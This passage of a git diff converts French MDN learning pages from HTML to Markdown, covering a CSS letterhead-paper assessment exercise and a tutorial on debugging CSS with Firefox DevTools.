href="/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Backgrounds and borders</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Handling different text directions</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Overflowing_content">Overflowing content</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Values_and_units">Values and units</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Sizing items in CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Images, media, and form elements</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Styling_tables">Styling tables</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS">Debugging CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Organizing">Organizing your CSS</a></li> -</ol> +3. [The box model](/fr/docs/Learn/CSS/Building_blocks/The_box_model) +4. [Backgrounds and borders](/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders) +5. [Handling different text directions](/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions) +6. [Overflowing content](/fr/docs/Learn/CSS/Building_blocks/Overflowing_content) +7. [Values and units](/fr/docs/Learn/CSS/Building_blocks/Values_and_units) +8. [Sizing items in CSS](/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS) +9. [Images, media, and form elements](/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements) +10. [Styling tables](/fr/docs/Learn/CSS/Building_blocks/Styling_tables) +11. [Debugging CSS](/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS) +12. [Organizing your CSS](/fr/docs/Learn/CSS/Building_blocks/Organizing) diff --git a/files/fr/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.md b/files/fr/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.md index 720f34217f..8af917335c 100644 --- a/files/fr/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.md +++ b/files/fr/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.md @@ -17,97 +17,88 @@ tags: translation_of: Learn/CSS/Building_blocks/Creating_fancy_letterheaded_paper original_slug: Apprendre/CSS/styliser_boites/Creating_fancy_letterheaded_paper --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes/A_cool_looking_box", "Apprendre/CSS/styliser_boites")}} -<div>{{PreviousMenuNext("Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes/A_cool_looking_box", "Apprendre/CSS/styliser_boites")}}</div> - -<p>Si vous voulez faire bonne impression, écrire une lettre sur un beau papier à en-tête peut vraiment être un bon début. Dans cet execice, le défi à relever consiste à créer un modèle en ligne pour obtenir ce bel aspect.</p> +Si vous voulez faire bonne impression, écrire une lettre sur un beau papier à en-tête peut vraiment être un bon début. Dans cet execice, le défi à relever consiste à créer un modèle en ligne pour obtenir ce bel aspect. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Avant de faire cet exercice vous devez avoir vu tous les articles de ce module.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Tester votre compréhension du modèle de boîte CSS et toutes les fonctionnalités associées comme l'implémentation d'arrière‑plans.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Avant de faire cet exercice vous devez avoir vu tous les articles de ce + module. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Tester votre compréhension du modèle de boîte CSS et toutes les + fonctionnalités associées comme l'implémentation d'arrière‑plans. + </td> + </tr> + </tbody> </table> -<h2 id="Départ">Départ</h2> +## Départ + +Pour débuter cet exercice, vous devez : + +- faire une copie locale du [HTML](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/letterheaded-paper-start/index.html) et de la [CSS](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/letterheaded-paper-start/style.css) — enregistrez‑les sous les noms `index.html` et `style.css` dans un nouveau répertoire. +- enregistrer des copies locales des images d'[en‑tête](https://raw.githubusercontent.com/mdn/learning-area/master/css/styling-boxes/letterheaded-paper-start/top-image.png), [pied de page](https://raw.githubusercontent.com/mdn/learning-area/master/css/styling-boxes/letterheaded-paper-start/bottom-image.png) et [logo](https://raw.githubusercontent.com/mdn/learning-area/master/css/styling-boxes/letterheaded-paper-start/logo.png) dans le même répertoire que les fichiers de code. + +> **Note :** Autrement, vous pouvez utiliser un site comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/) pour faire cet exercice. Collez le HTML et complétez la CSS dans un des éditeurs en ligne. Si l'éditeur en ligne que vous utilisez ne dispose pas d'un panneau séparé pour la CSS, vous pouvez le mettre dans un élément `<style>` dans l'élément `head` du document. + +## Résumé du projet -<p>Pour débuter cet exercice, vous devez :</p> +Vous avez les fichiers nécessaires à la création d'un modèle de papier à en-tête. Rassemblez les dossiers. Il faut : -<ul> - <li>faire une copie locale du <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/letterheaded-paper-start/index.html">HTML</a> et de la <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/letterheaded-paper-start/style.css">CSS</a> — enregistrez‑les sous les noms <code>index.html</code> et <code>style.css</code> dans un nouveau répertoire.</li> - <li>enregistrer des copies locales des images d'<a href="https://raw.githubusercontent.com/mdn/learning-area/master/css/styling-boxes/letterheaded-paper-start/top-image.png">en‑tête</a>, <a href="https://raw.githubusercontent.com/mdn/learning-area/master/css/styling-boxes/letterheaded-paper-start/bottom-image.png">pied de page</a> et <a href="https://raw.githubusercontent.com/mdn/learning-area/master/css/styling-boxes/letterheaded-paper-start/logo.png">logo</a> dans le même répertoire que les fichiers de code.</li> -</ul> +### La lettre -<div class="note"> -<p><strong>Note :</strong> Autrement, vous pouvez utiliser un site comme <a class="external external-icon" href="http://jsbin.com/">JSBin</a> ou <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> pour faire cet exercice. Collez le HTML et complétez la CSS dans un des éditeurs en ligne. Si l'éditeur en ligne que vous utilisez ne dispose pas d'un panneau séparé pour la CSS, vous pouvez le mettre dans un élément <code><style></code> dans l'élément <code>head</code> du document.</p> -</div> +- appliquer la CSS au HTML, +- ajouter à la lettre une déclaration `background` qui : -<h2 id="Résumé_du_projet">Résumé du projet</h2> + - place l'image haute en en‑tête de lettre + - place l'image basse en pied de lettre + - ajoute un gradient semi-transparent au‑dessus des deux arrière‑plans ci‑dessus pour donner un peu de texture à la lettre. Faites en sorte qu'il soit légèrement obscurcissant en en‑tête et pied de page, mais totalement transparent sur la plus grande partie du centre de la lettre, -<p>Vous avez les fichiers nécessaires à la création d'un modèle de papier à en-tête. Rassemblez les dossiers. Il faut :</p> +- ajouter une autre déclaration `background` qui mette uniquement l'image haute en en‑tête, en recours pour les navigateurs qui ne prennent pas en charge la précédente déclaration, +- ajouter un arrière‑plan de couleur blanche à la lettre. +- ajouter un encadrement plein de 1mm en haut et en bas de la lettre, dans une couleur qui soit en accord avec le schéma de couleur général, -<h3 id="La_lettre">La lettre</h3> +### Le logo -<ul> - <li>appliquer la CSS au HTML,</li> - <li>ajouter à la lettre une déclaration <code>background</code> qui : - <ul> - <li>place l'image haute en en‑tête de lettre</li> - <li>place l'image basse en pied de lettre</li> - <li>ajoute un gradient semi-transparent au‑dessus des deux arrière‑plans ci‑dessus pour donner un peu de texture à la lettre. Faites en sorte qu'il soit légèrement obscurcissant en en‑tête et pied de page, mais totalement transparent sur la plus grande partie du centre de la lettre,</li> - </ul> - </li> - <li>ajouter une autre déclaration <code>background</code> qui mette uniquement l'image haute en en‑tête, en recours pour les navigateurs qui ne prennent pas en charge la précédente déclaration,</li> - <li>ajouter un arrière‑plan de couleur blanche à la lettre.</li> - <li>ajouter un encadrement plein de 1mm en haut et en bas de la lettre, dans une couleur qui soit en accord avec le schéma de couleur général,</li> -</ul> +- à l'élément {{htmlelement("h1")}}, ajouter le logo en tant qu'image de fond, +- ajouter un filtre au logo pour donner une très légère ombre portée,. +- puis, commenter le filtre et implémenter l'ombre portée d'une autre manière pour être compatible inter-navigateurs, mais qui suive encore la forme ronde de l'image. -<h3 id="Le_logo">Le logo</h3> +## Astuces -<ul> - <li>à l'élément {{htmlelement("h1")}}, ajouter le logo en tant qu'image de fond,</li> - <li>ajouter un filtre au logo pour donner une très légère ombre portée,.</li> - <li>puis, commenter le filtre et implémenter l'ombre portée d'une autre manière pour être compatible inter-navigateurs, mais qui suive encore la forme ronde de l'image.</li> -</ul> +- Souvenez‑vous que vous pouvez créer un recours pour les navigateurs les plus anciens en faisant la déclaration de la version de recours avant celle qui n'est prise en charge que par les navigateurs modernes. Les anciens navigateurs appliqueront la première déclaration tout en ignorant la seconde, alors que les navigateurs récents appliqueront la première déclaration, mais l'écraseront avec la seconde. +- Vous êtes bien entendu libre de créer vos propres graphes si vous le souhaitez. -<h2 id="Astuces">Astuces</h2> +## Exemple -<ul> - <li>Souvenez‑vous que vous pouvez créer un recours pour les navigateurs les plus anciens en faisant la déclaration de la version de recours avant celle qui n'est prise en charge que par les navigateurs modernes. Les anciens navigateurs appliqueront la première déclaration tout en ignorant la seconde, alors que les navigateurs récents appliqueront la première déclaration, mais l'écraseront avec la seconde.</li> - <li>Vous êtes bien entendu libre de créer vos propres graphes si vous le souhaitez.</li> -</ul> +Voici une capture d'écran affichant un exemple de ce à quoi le dessin final ressemblera : -<h2 id="Exemple">Exemple</h2> + -<p>Voici une capture d'écran affichant un exemple de ce à quoi le dessin final ressemblera :</p> -<p><img alt="" src="letterhead.png"></p> -<p> </p> +## Évaluation -<h2 id="Évaluation">Évaluation</h2> +Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur [le fil de discussion à propos de cet exercice](https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682) ou par l'intermédiaire du canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Faites l'exercice d'abord, il n'y rien à gagner en trichant ! -<p>Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur <a class="external external-icon" href="https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682" rel="noopener">le fil de discussion à propos de cet exercice</a> ou par l'intermédiaire du canal IRC <a href="irc://irc.mozilla.org/mdn">#mdn</a> sur <a class="external external-icon" href="https://wiki.mozilla.org/IRC" rel="noopener">Mozilla IRC</a>. Faites l'exercice d'abord, il n'y rien à gagner en trichant !</p> +{{PreviousMenuNext("Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes/A_cool_looking_box", "Learn/CSS/Styling_boxes")}} -<p>{{PreviousMenuNext("Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes/A_cool_looking_box", "Learn/CSS/Styling_boxes")}}</p> -<p> </p> -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/Apprendre/CSS/styliser_boites/Box_model_recap">Le modèle de boîte : récapitulatif</a></li> - <li><a href="/fr/Apprendre/CSS/styliser_boites/Backgrounds">Arrière-plans</a></li> - <li><a href="/fr/docs/Apprendre/CSS/styliser_boites/Borders">Encadrements</a></li> - <li><a href="/fr/Apprendre/CSS/styliser_boites/Styling_tables">Mise en page des tableaux</a></li> - <li><a href="/fr/Apprendre/CSS/styliser_boites/Advanced_box_effects">Effets de boîte avancés</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper">Création d'un en-tête de papier à lettre élégant</a></li> - <li><a href="/fr/Apprendre/CSS/styliser_boites/A_cool_looking_box">Une boîte d'aspect rafraîchissant</a></li> -</ul> +- [Le modèle de boîte : récapitulatif](/fr/Apprendre/CSS/styliser_boites/Box_model_recap) +- [Arrière-plans](/fr/Apprendre/CSS/styliser_boites/Backgrounds) +- [Encadrements](/fr/docs/Apprendre/CSS/styliser_boites/Borders) +- [Mise en page des tableaux](/fr/Apprendre/CSS/styliser_boites/Styling_tables) +- [Effets de boîte avancés](/fr/Apprendre/CSS/styliser_boites/Advanced_box_effects) +- [Création d'un en-tête de papier à lettre élégant](/fr/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper) +- [Une boîte d'aspect rafraîchissant](/fr/Apprendre/CSS/styliser_boites/A_cool_looking_box) diff --git a/files/fr/learn/css/building_blocks/debugging_css/index.md b/files/fr/learn/css/building_blocks/debugging_css/index.md index e367a4cd59..0ce7d1dc55 100644 --- a/files/fr/learn/css/building_blocks/debugging_css/index.md +++ b/files/fr/learn/css/building_blocks/debugging_css/index.md @@ -4,200 +4,209 @@ slug: Learn/CSS/Building_blocks/Debugging_CSS translation_of: Learn/CSS/Building_blocks/Debugging_CSS original_slug: Apprendre/CSS/Building_blocks/Debugging_CSS --- -<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}} -<p>Parfois, quand vous écrirez du CSS, vous rencontrerez un problème où votre CSS semblera ne pas se comporter comme vous vous y attendrez. Peut-être que vous croirez qu'un certain sélecteur devrait être lié à un élément, mais rien ne se passe, ou une box aura une taille différente de ce que vous espérerez. Cet article vous donnera une ligne directrice pour débeuguer un problème CSS, et vous montrera comment les DevTools (outils de développeur) inclus dans tous les navigateurs modernes peuvent vous aider à comprendre ce qui se passe.</p> +Parfois, quand vous écrirez du CSS, vous rencontrerez un problème où votre CSS semblera ne pas se comporter comme vous vous y attendrez. Peut-être que vous croirez qu'un certain sélecteur devrait être lié à un élément, mais rien ne se passe, ou une box aura une taille différente de ce que vous espérerez. Cet article vous donnera une ligne directrice pour débeuguer un problème CSS, et vous montrera comment les DevTools (outils de développeur) inclus dans tous les navigateurs modernes peuvent vous aider à comprendre ce qui se passe. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prerequisites:</th> - <td>Basic computer literacy, <a href="/fr/Learn/Getting_started_with_the_web/Installing_basic_software">basic software installed</a>, basic knowledge of <a href="/fr/Learn/Getting_started_with_the_web/Dealing_with_files">working with files</a>, HTML basics (study <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>), and an idea of how CSS works (study <a href="/fr/docs/Learn/CSS/First_steps">CSS first steps</a>.)</td> - </tr> - <tr> - <th scope="row">Objective:</th> - <td>To learn the basics of what browser DevTools are, and how to do simple inspection and editing of CSS.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prerequisites:</th> + <td> + Basic computer literacy, + <a + href="/fr/Learn/Getting_started_with_the_web/Installing_basic_software" + >basic software installed</a + >, basic knowledge of + <a href="/fr/Learn/Getting_started_with_the_web/Dealing_with_files" + >working with files</a + >, HTML basics (study + <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" + >Introduction to HTML</a + >), and an idea of how CSS works (study + <a href="/fr/docs/Learn/CSS/First_steps">CSS first steps</a>.) + </td> + </tr> + <tr> + <th scope="row">Objective:</th> + <td> + To learn the basics of what browser DevTools are, and how to do simple + inspection and editing of CSS. + </td> + </tr> + </tbody> </table> -<h2 id="Comment_accéder_aux_outils_de_développement_du_navigateur">Comment accéder aux outils de développement du navigateur</h2> +## Comment accéder aux outils de développement du navigateur -<p>L'article <a href="/fr/docs/Learn/Common_questions/What_are_browser_developer_tools">Que sont les outils de développement de navigateurs</a> est un guide maintenu à jour qui explique comment accéder aux outils dans différents navigateurs et plateformes. Alors que vous pouvez choisir de développer le plus souvent sur un navigateur en particulier, et donc de devenir plus familier avec les outils inclus dans ce navigateur, il est important de savoir comment accéder à ces outils dans d'autres navigateurs. Cela vous aidera si vous voyez des rendus différents entre plusieurs navigateurs.</p> +L'article [Que sont les outils de développement de navigateurs](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools) est un guide maintenu à jour qui explique comment accéder aux outils dans différents navigateurs et plateformes. Alors que vous pouvez choisir de développer le plus souvent sur un navigateur en particulier, et donc de devenir plus familier avec les outils inclus dans ce navigateur, il est important de savoir comment accéder à ces outils dans d'autres navigateurs. Cela vous aidera si vous voyez des rendus différents entre plusieurs navigateurs. -<p>You will also find that browsers have chosen to focus on different areas when creating their DevTools. For example in Firefox there are some excellent tools for working visually with CSS Layout, allowing you to inspect and edit <a href="/fr/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Grid Layouts</a>, <a href="/fr/docs/Tools/Page_Inspector/How_to/Examine_Flexbox_layouts">Flexbox</a>, and <a href="/fr/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes">Shapes</a>. However, all of the different browsers have similar fundamental tools, e.g. for inspecting the properties and values applied to elements on your page, and making changes to them from the editor.</p> +You will also find that browsers have chosen to focus on different areas when creating their DevTools. For example in Firefox there are some excellent tools for working visually with CSS Layout, allowing you to inspect and edit [Grid Layouts](/fr/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts), [Flexbox](/fr/docs/Tools/Page_Inspector/How_to/Examine_Flexbox_layouts), and [Shapes](/fr/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes). However, all of the different browsers have similar fundamental tools, e.g. for inspecting the properties and values applied to elements on your page, and making changes to them from the editor. -<p>In this lesson we will look at some useful features of the Firefox DevTools for working with CSS. In order to do so I'll be using <a href="https://mdn.github.io/css-examples/learn/inspecting/inspecting.html">an example file</a>. Load this up in a new tab if you want to follow along, and open up your DevTools as described in the article linked above.</p> +In this lesson we will look at some useful features of the Firefox DevTools for working with CSS. In order to do so I'll be using [an example file](https://mdn.github.io/css-examples/learn/inspecting/inspecting.html). Load this up in a new tab if you want to follow along, and open up your DevTools as described in the article linked above. -<h2 id="The_DOM_versus_view_source">The DOM versus view source</h2> +## The DOM versus view source -<p>Something that can trip up newcomers to DevTools is the difference between what you see when you <a href="/fr/docs/Tools/View_source">view the source</a> of a webpage, or look at the HTML file you put on the server, and what you can see in the <a href="/fr/docs/Tools/Page_Inspector/UI_Tour#HTML_pane">HTML Pane</a> of the DevTools. While it looks roughly similar to what you can see via View Source there are some differences.</p> +Something that can trip up newcomers to DevTools is the difference between what you see when you [view the source](/fr/docs/Tools/View_source) of a webpage, or look at the HTML file you put on the server, and what you can see in the [HTML Pane](/fr/docs/Tools/Page_Inspector/UI_Tour#HTML_pane) of the DevTools. While it looks roughly similar to what you can see via View Source there are some differences. -<p>In the rendered DOM the browser may have corrected some badly-written HTML for you. If you incorrectly closed an element, for instance opening an <code><h2></code> but closing with an <code></h3></code>, the browser will figure out what you were meaning to do and the HTML in the DOM will correctly close the open <code><h2></code> with an <code></h2></code>. The browser will also normalize all of the HTML, and the DOM will also show any changes made by JavaScript.</p> +In the rendered DOM the browser may have corrected some badly-written HTML for you. If you incorrectly closed an element, for instance opening an `<h2>` but closing with an `</h3>`, the browser will figure out what you were meaning to do and the HTML in the DOM will correctly close the open `<h2>` with an `</h2>`. The browser will also normalize all of the HTML, and the DOM will also show any changes made by JavaScript. -<p>View Source in comparison, is simply the HTML source code as stored on the server. The <a href="/fr/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML#HTML_tree">HTML tree</a> in your DevTools shows exactly what the browser is rendering at any given time, so it gives you an insight into what is really going on.</p> +View Source in comparison, is simply the HTML source code as stored on the server. The [HTML tree](/fr/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML#HTML_tree) in your DevTools shows exactly what the browser is rendering at any given time, so it gives you an insight into what is really going on. -<h2 id="Inspecting_the_applied_CSS">Inspecting the applied CSS</h2> +## Inspecting the applied CSS -<p>Select an element on your page, either by right/ctrl-clicking on it and selecting <em>Inspect</em>, or selecting it from the HTML tree on the left of the DevTools display. Try selecting the element with the class of <code>box1</code>; this is the first element on the page with a bordered box drawn around it.</p> +Select an element on your page, either by right/ctrl-clicking on it and selecting _Inspect_, or selecting it from the HTML tree on the left of the DevTools display. Try selecting the element with the class of `box1`; this is the first element on the page with a bordered box drawn around it. -<p><img alt="The example page for this tutorial with DevTools open." src="inspecting1.png"></p> + -<p>If you look at the <a href="/fr/docs/Tools/Page_Inspector/UI_Tour#Rules_view">Rules view</a> to the right of your HTML, you should be able to see the CSS properties and values applied to that element. You will see the rules directly applied to class <code>box1</code> and also the CSS that is being inherited by the box from its ancestors, in this case to <code><body></code>. This is useful if you are seeing some CSS being applied that you didn't expect. Perhaps it is being inherited from a parent element and you need to add a rule to overwrite it in the context of this element.</p> +If you look at the [Rules view](/fr/docs/Tools/Page_Inspector/UI_Tour#Rules_view) to the right of your HTML, you should be able to see the CSS properties and values applied to that element. You will see the rules directly applied to class `box1` and also the CSS that is being inherited by the box from its ancestors, in this case to `<body>`. This is useful if you are seeing some CSS being applied that you didn't expect. Perhaps it is being inherited from a parent element and you need to add a rule to overwrite it in the context of this element. -<p>Also useful is the ability to expand out shorthand properties. In our example the <code>margin</code> shorthand is used.</p> +Also useful is the ability to expand out shorthand properties. In our example the `margin` shorthand is used. -<p><strong>Click on the little arrow to expand the view, showing the different longhand properties and their values.</strong></p> +**Click on the little arrow to expand the view, showing the different longhand properties and their values.** -<p><strong>You can toggle values in the Rules view on and off, when that panel is active — if you hold your mouse over it checkboxes will appear. Uncheck a rule's checkbox, for example <code>border-radius</code>, and the CSS will stop applying.</strong></p> +**You can toggle values in the Rules view on and off, when that panel is active — if you hold your mouse over it checkboxes will appear. Uncheck a rule's checkbox, for example `border-radius`, and the CSS will stop applying.** -<p>You can use this to do an A/B comparison, deciding if something looks better with a rule applied or not, and also to help debug it — for example if a layout is going wrong and you are trying to work out which property is causing the problem.</p> +You can use this to do an A/B comparison, deciding if something looks better with a rule applied or not, and also to help debug it — for example if a layout is going wrong and you are trying to work out which property is causing the problem. -<p>The following video provides some useful tips on debugging CSS using the Firefox DevTools:</p> +The following video provides some useful tips on debugging CSS using the Firefox DevTools: -<p>{{EmbedYouTube("O3DAm82vIvU")}}</p> +{{EmbedYouTube("O3DAm82vIvU")}} -<h2 id="Editing_values">Editing values</h2> +## Editing values -<p>In addition to turning properties on and off, you can edit their values. Perhaps you want to see if another color looks better, or wish to tweak the size of something? DevTools can save you a lot of time editing a stylesheet and reloading the page.</p> +In addition to turning properties on and off, you can edit their values. Perhaps you want to see if another color looks better, or wish to tweak the size of something? DevTools can save you a lot of time editing a stylesheet and reloading the page. -<p><strong>With <code>box1</code> selected, click on the swatch (the small colored circle) that shows the color applied to the border. A color picker will open up and you can try out some different colors; these will update in real time on the page. In a similar fashion, you could change the width or style of the border.</strong></p> +**With `box1` selected, click on the swatch (the small colored circle) that shows the color applied to the border. A color picker will open up and you can try out some different colors; these will update in real time on the page. In a similar fashion, you could change the width or style of the border.** -<p><img alt="DevTools Styles Panel with a color picker open." src="inspecting2-color-picker.png"></p> + -<h2 id="Adding_a_new_property">Adding a new property</h2> +## Adding a new property -<p>You can add properties using the DevTools. Perhaps you have realised that you don't want your box to inherit the <code><body></code> element's font size, and want to set its own specific size? You can try this out in DevTools before adding it to your CSS file.</p> +You can add properties using the DevTools. Perhaps you have realised that you don't want your box to inherit the `<body>` element's font size, and want to set its own specific size? You can try this out in DevTools before adding it to your CSS file. -<p><strong>You can click the closing curly brace in the rule to start entering a new declaration into it, at which point you can start typing the new property and DevTools will show you an autocomplete list of matching properties. After selecting <code>font-size</code>, enter the value you want to try. You can also click the + button to add an additional rule with the same selector, and add your new rules there.</strong></p> +**You can click the closing curly brace in the rule to start entering a new declaration into it, at which point you can start typing the new property and DevTools will show you an autocomplete list of matching properties. After selecting `font-size`, enter the value you want to try. You can also click the + button to add an additional rule with the same selector, and add your new rules there.** -<p><img alt="The DevTools Panel, adding a new property to the rules, with the autocomplete for font- open" src="inspecting3-font-size.png"></p> + -<div class="note"> -<p><strong>Note :</strong> There are other useful features in the Rules view too, for example declarations with invalid values are crossed out. You can find out more at <a href="/fr/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">Examine and edit CSS</a>.</p> -</div> +> **Note :** There are other useful features in the Rules view too, for example declarations with invalid values are crossed out. You can find out more at [Examine and edit CSS](/fr/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS). -<h2 id="Understanding_the_box_model">Understanding the box model</h2> +## Understanding the box model -<p>In previous lessons we have discussed <a href="/fr/docs/Learn/CSS/Building_blocks/The_box_model">the Box Model</a>, and the fact that we have an alternate box model that changes how the size of elements are calculated based on the size you give them, plus the padding and borders. DevTools can really help you to understand how the size of an element is being calculated.</p> +In previous lessons we have discussed [the Box Model](/fr/docs/Learn/CSS/Building_blocks/The_box_model), and the fact that we have an alternate box model that changes how the size of elements are calculated based on the size you give them, plus the padding and borders. DevTools can really help you to understand how the size of an element is being calculated. -<p>The <a href="/fr/docs/Tools/Page_Inspector/UI_Tour#Layout_view">Layout view</a> shows you a diagram of the box model on the selected element, along with a description of the properties and values that change how the element is laid out. This includes a description of properties that you may not have explicitly used on the element, but which do have initial values set.</p> +The [Layout view](/fr/docs/Tools/Page_Inspector/UI_Tour#Layout_view) shows you a diagram of the box model on the selected element, along with a description of the properties and values that change how the element is laid out. This includes a description of properties that you may not have explicitly used on the element, but which do have initial values set. -<p>In this panel, one of the detailed properties is the <code>box-sizing</code> property, which controls what box model the element uses.</p> +In this panel, one of the detailed properties is the `box-sizing` property, which controls what box model the element uses. -<p><strong>Compare the two boxes with classes <code>box1</code> and <code>box2</code>. They both have the same width applied (400px), however <code>box1</code> is visually wider. You can see in the layout panel that it is using <code>content-box</code>. This is the value that takes the size you give the element and then adds on the padding and border width.</strong></p> +**Compare the two boxes with classes `box1` and `box2`. They both have the same width applied (400px), however `box1` is visually wider. You can see in the layout panel that it is using `content-box`. This is the value that takes the size you give the element and then adds on the padding and border width.** -<p>The element with a class of <code>box2</code> is using <code>border-box</code>, so here the padding and border is subtracted from the size that you have given the element. This means that the space taken up on the page by the box is the exact size that you specified — in our case <code>width: 400px</code>.</p> +The element with a class of `box2` is using `border-box`, so here the padding and border is subtracted from the size that you have given the element. This means that the space taken up on the page by the box is the exact size that you specified — in our case `width: 400px`. -<p><img alt="The Layout section of the DevTools" src="inspecting4-box-model.png"></p> + -<div class="note"> -<p><strong>Note :</strong> Find out more in <a href="/fr/docs/Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model">Examining and Inspecting the Box Model</a>.</p> -</div> +> **Note :** Find out more in [Examining and Inspecting the Box Model](/fr/docs/Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model). -<h2 id="Solving_specificity_issues">Solving specificity issues</h2> +## Solving specificity issues -<p>Sometimes during development, but in particular when you need to edit the CSS on an existing site, you will find yourself having a hard time getting some CSS to apply. No matter what you do, the element just doesn't seem to take the CSS. What is generally happening here is that a more specific selector is overriding your changes, and here DevTools will really help you out.</p> +Sometimes during development, but in particular when you need to edit the CSS on an existing site, you will find yourself having a hard time getting some CSS to apply. No matter what you do, the element just doesn't seem to take the CSS. What is generally happening here is that a more specific selector is overriding your changes, and here DevTools will really help you out. -<p>In our example file there are two words that have been wrapped in an <code><em></code> element. One is displaying as orange and the other hotpink. In the CSS we have applied:</p> +In our example file there are two words that have been wrapped in an `<em>` element. One is displaying as orange and the other hotpink. In the CSS we have applied: -<pre class="brush: css">em { +```css +em { color: hotpink; font-weight: bold; -}</pre> +} +``` -<p>Above that in the stylesheet however is a rule with a <code>.special</code> selector:</p> +Above that in the stylesheet however is a rule with a `.special` selector: -<pre class="brush: css">.special { +```css +.special { color: orange; -}</pre> +} +``` -<p>As you will recall from the lesson on <a href="/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">cascade and inheritance</a> where we discussed specificity, class selectors are more specific than element selectors, and so this is the value that applies. DevTools can help you find such issues, especially if the information is buried somewhere in a huge stylesheet.</p> +As you will recall from the lesson on [cascade and inheritance](/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance) where we discussed specificity, class selectors are more specific than element selectors, and so this is the value that applies. DevTools can help you find such issues, especially if the information is buried somewhere in a huge stylesheet. -<p><strong>Inspect the <code><em></code> with the class of <code>.special</code> and DevTools will show you that orange is the color that applies, and also shows you the <code>color</code> property applied to the em crossed out. You can now see that the class is overriding the element selector.</strong></p> +**Inspect the `<em>` with the class of `.special` and DevTools will show you that orange is the color that applies, and also shows you the `color` property applied to the em crossed out. You can now see that the class is overriding the element selector.** -<p><img alt="Selecting an em and looking at DevTools to see what is over-riding the color." src="inspecting5-specificity.png"></p> + -<h2 id="Find_out_more_about_the_Firefox_DevTools">Find out more about the Firefox DevTools</h2> +## Find out more about the Firefox DevTools -<p>There is a lot of information about the Firefox DevTools here on MDN. Take a look at the main <a href="/fr/docs/Tools">DevTools section</a>, and for more detail on the things we have briefly covered in this lesson see <a href="/fr/docs/Tools/Page_Inspector#How_to">The How To Guides</a>.</p> +There is a lot of information about the Firefox DevTools here on MDN. Take a look at the main [DevTools section](/fr/docs/Tools), and for more detail on the things we have briefly covered in this lesson see [The How To Guides](/fr/docs/Tools/Page_Inspector#How_to). -<h2 id="Debugging_problems_in_CSS">Debugging problems in CSS</h2> +## Debugging problems in CSS -<p>DevTools can be a great help when solving CSS problems, so when you find yourself in a situation where CSS isn't behaving as you expect, how should you go about solving it? The following steps should help.</p> +DevTools can be a great help when solving CSS problems, so when you find yourself in a situation where CSS isn't behaving as you expect, 